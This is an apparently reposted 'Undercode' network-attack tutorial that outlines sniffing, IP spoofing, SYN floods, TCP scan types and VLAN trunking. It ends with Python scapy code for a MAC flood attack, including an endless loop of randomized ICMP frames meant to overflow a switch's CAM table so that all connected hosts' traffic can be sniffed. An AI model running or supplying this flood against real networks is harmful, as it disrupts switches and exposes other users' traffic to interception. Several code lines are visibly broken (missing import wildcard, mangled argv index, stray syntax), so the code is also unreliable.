After the data packet is sent, there will be some delay to take effect.

🦑NETWORK ATTACK TIPS BY UNDERCODE :

> TCP/IP is the core of the entire network protocol system, because from here on, data transmission has moved from the local area network to the vast Internet, program is also capable of processing data from the Internet, and can directly attack and test hosts on the Internet. .

> Still an old saying, I hope you will learn the protocol in depth, practice packet analysis through packet capture tools, and understand the protocol through examples :

A)
1)) PRINCIPLES OF SNIFFING AND SNIFFER

Sniffing is a comprehensive concept that involves the second layer we talked about before and the application layer that we will talk about in the future. Data sniffing is a way of passive attack. It extracts the required information by analyzing the data flowing through the local network card.

2) According to different network types, we may have to combine ARP spoofing /DNS spoofing to get the data of the target host we want.

3) Sniffer is a tool used to obtain and analyze data. There are many such tools on the Internet. Our focus is on the principles and coding implementation of these tools.

B) IP POISONING ATTACK AND FLOOD ATTACK

1) The previous ARP poisoning attack is similar. IP poisoning is to construct fake IP data packets and use fake IP addresses to attack or hide yourself.

2) At this layer, we can construct various data packets to flood the devices on the Internet, such as SYN floods and connection flood attacks of various protocols.

C) PORT SCANNING AND SERVICE DETECTION
zmap and nmap are our commonly used port scanning and service detection programs. We also know that there are many different implementation techniques for port scanning, from simple full connections to half-open connections. It is said that zmap can scan the entire Internet in one hour . What advanced technology does it use? I will reveal the secrets for you one by one here on undercode testing :

D) SESSION HIJACKING

1) "Hijacking" is a very important concept. Only by intercepting the flow of data can we have the opportunity to tamper with data and forge normal conversations. The goal of common sessions is the data concept of the application layer, but hijacking is done at the transport layer.

2) We will see practical examples of how to implement session hijacking and data tampering through programming.

🦑TCP port scanning is generally divided into the following types:

1) TCP connect scan: also known as full connection scan, this method directly connects to the target port and completes the TCP three-way handshake process. The scan result of this method is more accurate, but the speed is slower and can be easily detected by the target system.

2) TCP SYN scanning: also called semi-open scanning, this method will send a SYN packet, start a TCP session, and wait for the target to respond to the data packet. If a RST packet is received, it indicates that the port is closed, and if a SYN/ACK packet is received, it indicates that the corresponding port is open.

3) Tcp FIN scanning: In this way, a FIN packet indicating the teardown of an active TCP connection is sent, and the other party closes the connection. If a RST packet is received, it indicates that the corresponding port is closed.

4) TCP XMAS scanning: This method sends packets with PSH, FIN, URG, and TCP flags set to 1. If a RST packet is received, it indicates that the corresponding port is closed.

🦑cross-domain VLAN:

VLAN (Virtual Local Area Network) is a virtual network constructed based on the Ethernet interactive technology. It can divide the same physical network into multiple VLANs , or it can cross the physical network barriers and assign users in different subnets to the same VLAN.

🦑There are many ways to implement VLAN , based on the VLAN division of switching equipment , there are generally two:

1) Switch-based port division

2) Based on IEEE 802.1q protocol, extended Ethernet frame format

> The second layer based VLAN technology, there Trunking concept, Trunking is used to switch between different connections, to ensure that the established across a plurality of switches on the same VLAN members can communicate with each other.

> The ports used for interconnection between switches are called Trunk ports. In addition to 802.1q , Cisco has its own Trunk protocol called ISL .

🦑MAC flood Attack :

1) A PC keeps sending data frames to unknown destinations, and the source MAC address of each packet is different. When such a data packet is sent fast enough, it will quickly fill the switch's CAM table within the refresh time. full. CAM table is these fake MAC occupy address, real MA C address entry can not enter CAM table. Then any normal unicast data frame passing through the switch will be processed in the form of a broadcast frame. The switch is downgraded to Hub in this case .

2) After the switch is downgraded to hub , we can monitor the data of all hosts connected to the switch.

Of course, the response of specific interactive devices to the ARP flood is different, and field testing is required. Next we enter the programming link.

🦑 TO DO :

1) There are many ways to construct random MAC and IP addresses, because the standard format of the address is there and it is easy to assemble. What I want to introduce here is the RandMAC and RandIP methods in the scapy module . These two methods are used to randomly generate MAC addresses and IP addresses, and the methods receive template parameters to generate addresses for specific network segments.

For example, the following code:

 

from scapy.all import *

 

i=5

while(i):

    print RandMAC()

    print RandIP()

    i=i-1

2) After the random problem is solved, what kind of data packets can we consider below to achieve the goal? Looking back at the content mentioned above, as long as we have the specified source IP and MAC in the data packet , the switch will record it.

For example ARP packet:

Ether (src= RandMAC (),dst= "FF:FF:FF:FF:FF:FF" )/ARP(op= 2 , psrc= "0.0.0.0" , hwdst= "FF:FF:FF:FF: FF:FF" )/ Padding (load= "X" 18 ))

For example ICMP package:

Ether(src=RandMAC(":::::"),

dst=RandMAC(":::::")) / \

IP(src=RandIP("..."),

dst=RandIP("...")) / \

ICMP()

3) #!/usr/bin/python

import sys

from scapy.all import

import time



iface="eth0"

if len(sys.argv)>=2:

iface=sys.argv1

while(1):

packet= Ether(src=RandMAC(":::::"),

dst=RandMAC(":::::")) / \

IP(src=RandIP("..."),

dst=RandIP("...")) / \

ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)

Now the code implements MAC flood attack by continuously sending ICMP packets ❤️👍🏻
